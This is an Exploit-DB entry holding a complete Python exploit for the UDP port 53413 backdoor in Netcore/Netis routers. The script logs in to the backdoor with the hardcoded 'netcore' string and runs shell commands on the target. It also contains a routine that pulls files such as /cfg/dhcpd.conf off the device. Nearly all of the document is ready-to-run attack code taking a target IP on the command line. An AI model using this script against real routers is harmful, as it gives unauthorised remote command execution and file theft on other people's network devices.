Exploit-DB #43387
Description: Netcore / Netis Routers - UDP Backdoor Access
Type: remote
Platform: hardware
Date: 2016-12-15
Author: nixawk

Exploit:
#!/usr/bin/python
# -*- coding: utf8 -*-

# NETCORE / NETDIS UDP 53413 BACKDOOR
# https://netisscan.shadowserver.org/
# http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/
# https://www.seebug.org/vuldb/ssvid-90227

import socket
import struct
import logging


logging.basicConfig(level=logging.INFO, format="%(message)16s")


def create_udp_socket(timeout=10):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(timeout)

    return sock


def send_netcore_request(sock, host, port, data):
    HEAD = "\x00" * 8
    data = HEAD + data
    sock.sendto(data, (host, port))


def recv_netcore_response(sock, buffsize=512):
    try:
        resp = None
        addr = None
        resp, addr = sock.recvfrom(buffsize)
    except Exception as err:
        logging.debug('[-] %s' % err)
    finally:
        return resp, addr


def do_mptlogin(sock, host, port):
    """
    login netcore backdoor
    """

    netcore_response = []
    netcore_commands = ['netcore', '?']
    for command in netcore_commands:
        send_netcore_request(sock, host, port, command)
        resp, addr = recv_netcore_response(sock)

        if resp and resp not in netcore_response:
            netcore_response.append(resp)

    response_string = ",".join(netcore_response)
    if len(netcore_response) >= 1 and ('\x00\x00\x00\x05' in response_string):
        return (True, netcore_response)

    return (False, netcore_response)

    # ['\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00Login successed!\r\n',
    #  '\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x7f']

    # ['\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x7f',
    #  '\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00'
    #  'IGD MPT Interface daemon 1.0\x00']

    # ['\x00\x00\x00\x06\x00\x01\x00\x00\xff\xff\xff\xffapmib_init fail!\r\n']

    # ['\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00']
    # sh: netcore: not found
    # sh: /etc/services: Permission denied

    # ['\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00']

    # First Login  : 'AA\x00\x05ABAA\x00\x00\x00\x00Login successed!\r\n'
    # Second Login : IGD MPT Interface daemon 1.0


def do_mptfun(sock, host, port, cmdstring):
    """
    Usage: $Help
    Usage: $WriteMac <macaddr> <lan|wan|wlan1|wlan2|wlan3|wlan4>
    Usage: $ReadMac <lan|wan|wlan1|wlan2|wlan3|wlan4>[<str|STR>[separator]|bin]
    Usage: $WriteRegion <region> <wlan1|wlan3>
    Usage: $ReadRegion <wlan1|wlan3>
    Usage: $WriteSSID <SSID> <wlan1|wlan2|wlan3|wlan4>
    Usage: $ReadSSID <wlan1|wlan2|wlan3|wlan4>

    DESCRIPTION:
    wlan1:2.4G main AP
    wlan2:2.4G Multiple AP
    wlan3:5G Main AP
    wlan4:5G Multiple AP
    region:the abbreviation of the country,Must be capitalized.Like US,HK,JP
    """

    send_netcore_request(sock, host, port, cmdstring)
    resp, addr = recv_netcore_response(sock)

    if resp:
        return (True, resp)

    return (False, resp)


do_syscmd = do_mptfun


def do_getfile(sock, host, port, filename):
    buffsize = 0x408  # buff size to read
    datasize = 0x408  # data size from socket

    contents = []

    u1, u2, u3, u4 = 0, 1, 0, 0

    HEAD = struct.pack('>H', u1)
    HEAD += struct.pack('>H', u2)
    HEAD += struct.pack('>H', u3)
    HEAD += struct.pack('>H', u4)

    data = HEAD + filename
    sock.sendto(data, (host, port))

    while buffsize == datasize:
        data, addr = recv_netcore_response(sock, buffsize=buffsize)

        if not data:
            break

        datasize = len(data)

        u1, u2, u3, u4 = struct.unpack('>HHHH', data[:8])
        contents.append(data[8:])

        u2 = 5

        HEAD = struct.pack('>H', u1)
        HEAD += struct.pack('>H', u2)
        HEAD += struct.pack('>H', u3)
        HEAD += struct.pack('>H', u4)
        sock.sendto(HEAD, (host, port))

    data = "".join(contents)
    if contents:
        return True, data

    return False, data


def do_putfile():
    pass


def check(host, port=53413):
    sock = create_udp_socket(timeout=8)
    is_login, resp = do_mptlogin(sock, host, port)
    print(is_login, resp)
    if is_login:
        print("[+] %s:%s - \033[32mvulnerable\033[m" % (host, port))

        # bool_ret, resp = do_mptfun(sock, host, port, '$help')
        # print(resp)

        # bool_ret, resp = do_getfile(sock, host, port, '/cfg/dhcpd.conf')
        # print(resp)

        bool_ret, resp = do_syscmd(sock, host, port, 'ls -al /tmp')

    sock.close()


if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print("[*] Usage: {} <target-netdis-ip>".format(sys.argv[0]))
    else:
        check(sys.argv[1])